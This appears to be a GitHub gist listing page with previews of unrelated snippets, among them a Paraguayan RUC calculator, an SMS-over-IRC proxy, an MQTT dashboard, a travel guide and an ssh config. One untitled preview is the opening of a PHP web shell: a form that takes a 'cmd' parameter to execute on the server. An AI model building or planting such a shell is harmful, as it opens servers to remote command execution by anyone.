Skip to content

Instantly share code, notes, and snippets.

View matiasinsaurralde's full-sized avatar

Matias Insaurralde matiasinsaurralde

  • Paraguay
View GitHub Profile
@mewelling
mewelling / ruc_calc.js
Created February 20, 2019 14:12
Paraguay Cédula + RUC calculation
/*
To calculate the RUC number for your cedula:
Starting with the rightmost digit, multiply it by 2.
Then, multiply the next digit by 3 and add it to the first result.
Then, multiply the next digit by 4 and add it to the running total.
... keep doing this.
Finally, take the remainder of the the total divided by 11 (called the modulo),
and subtract it from 11.
original inspiration: http://www.necesitomas.com/digito-verificador
@mndrix
mndrix / sms.go
Last active June 23, 2020 17:20
SMS over IRC
// A proxy for sending/receiving SMS via IRC
//
// This code is part of our family IRC server whose code is available at
// https://gist.github.com/mndrix/7947009178e4a18c247b4bd25821661f
//
// This file won't compile by itself because it's only one file from
// my larger family server (movie hosting, Asterisk dialplan, Git
// hosting, personal assistant, etc).
//
// Copyright 2018 Michael Hendricks
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
@deadprogram
deadprogram / mqttdash.go
Last active September 20, 2017 21:43
Simple Golang dashboard to show MQTT server activity by subscribing to all messages.
// how to run:
// go run mqtt.go tcp://iot.eclipse.org:1883 /topic/name
package main
import (
"os"
mqtt "github.com/eclipse/paho.mqtt.golang"
"github.com/gizak/termui"
)
@raczajko
raczajko / form.html
Last active March 17, 2021 18:25
Formulario HTML5, con leaflet para capturar datos georeferenciados en un form.
<!DOCTYPE html>
<html dir="ltr" lang="es">
<head>
<meta charset="utf-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1">
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/leaflet/0.7.3/leaflet.css"/>
<link rel="stylesheet" type="text/css" media="all" href="w3form6.css">
<title>Form Test</title>
@camilojd
camilojd / volar101.md
Last active May 1, 2017 14:35
Volar 101

Llegada al aeropuerto

Para vuelos internacionales es importante llegar al aeropuerto al menos 3 horas antes, a fin de hacer el despacho de las valijas.

Los pasos son:

  1. Despachar las valijas grandes para el vuelo en cuestión. Ahí nos tienen que entregar un "pase de abordaje" si es que ya no lo tenemos impreso.

  2. Ir hacia el área de "partidas" (llevando el "carry on") y dirigirnos al portón que corresponde a nuestro vuelo. Tenemos que estar seguros que estamos en la terminal adecuada para encontrar el portón que nos corresponde, ya que hay aeropuertos que tienen varias terminales (ej: Guarulhos/São Paulo). Una vez encontrado el portón que nos corresponde (que generalmente estará indicado en carteles con letras grandes) pasamos por el control de seguridad del aeropuerto. Podemos asegurar que realmente estamos en el portón correspondiente preguntando al personal de seguridad del aeropuerto si tenemos alguna duda, y probablemente nos pedirán el pase de abordaje para ayudarnos. Necesitamos tener nuestros

@depp
depp / problem.cpp
Last active December 21, 2021 19:04
A Faster Solution
// Faster solution for:
// http://www.boyter.org/2017/03/golang-solution-faster-equivalent-java-solution/
// With threading.
// g++ -std=c++11 -Wall -Wextra -O3 -pthread
// On my computer (i5-6600K 3.50 GHz 4 cores), takes about ~160 ms after the CPU
// has warmed up, or ~80 ms if the CPU is cold (due to Turbo Boost).
// How it works: Start by generating a list of losing states -- states where the
// game can end in one turn. Generate a new list of states by running the game
@yogabonito
yogabonito / VECM_example.ipynb
Last active April 5, 2025 05:17
VECM example
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@carlosm3011
carlosm3011 / ssh_config_osx_sierra
Last active June 20, 2018 19:59
ssh config tweaks for macOS Sierra
# macOS Sierra ssh config tweaks
# This file (or something similar) should go in $HOME/.ssh/config
# Permissions should be set to 0600
#
# Comments:
# UseKeychain: allow ssh-agent to read keys from macOS's keychain (avoiding the need to re-input passphrases all the time)
#
#
# PubKeyAccecptedKeyTypes: accept old pubkey types (needed for accesing older ssh implementations)
# KexAlgorithms: accept old style key exchanges
@joshlf
joshlf / doer.go
Created October 2, 2016 17:05
A demonstration of a self-cleaning worker
// This is an example of a self-cleaning worker. A common pattern in Go
// is to have a type which, when created with NewX, spawns one or more
// goroutines in the background to perform work. It is usually the
// caller's responsibility to call Close() or Stop() in order to shut
// these workers down and not leak goroutines and the memory resources
// that the goroutines have references to.
//
// The idea behind a self-cleaning worker is to leverage the runtime's
// ability to set finalizers on objects in order to detect when an object
// with a still-live worker goroutine has gone out of scope. The type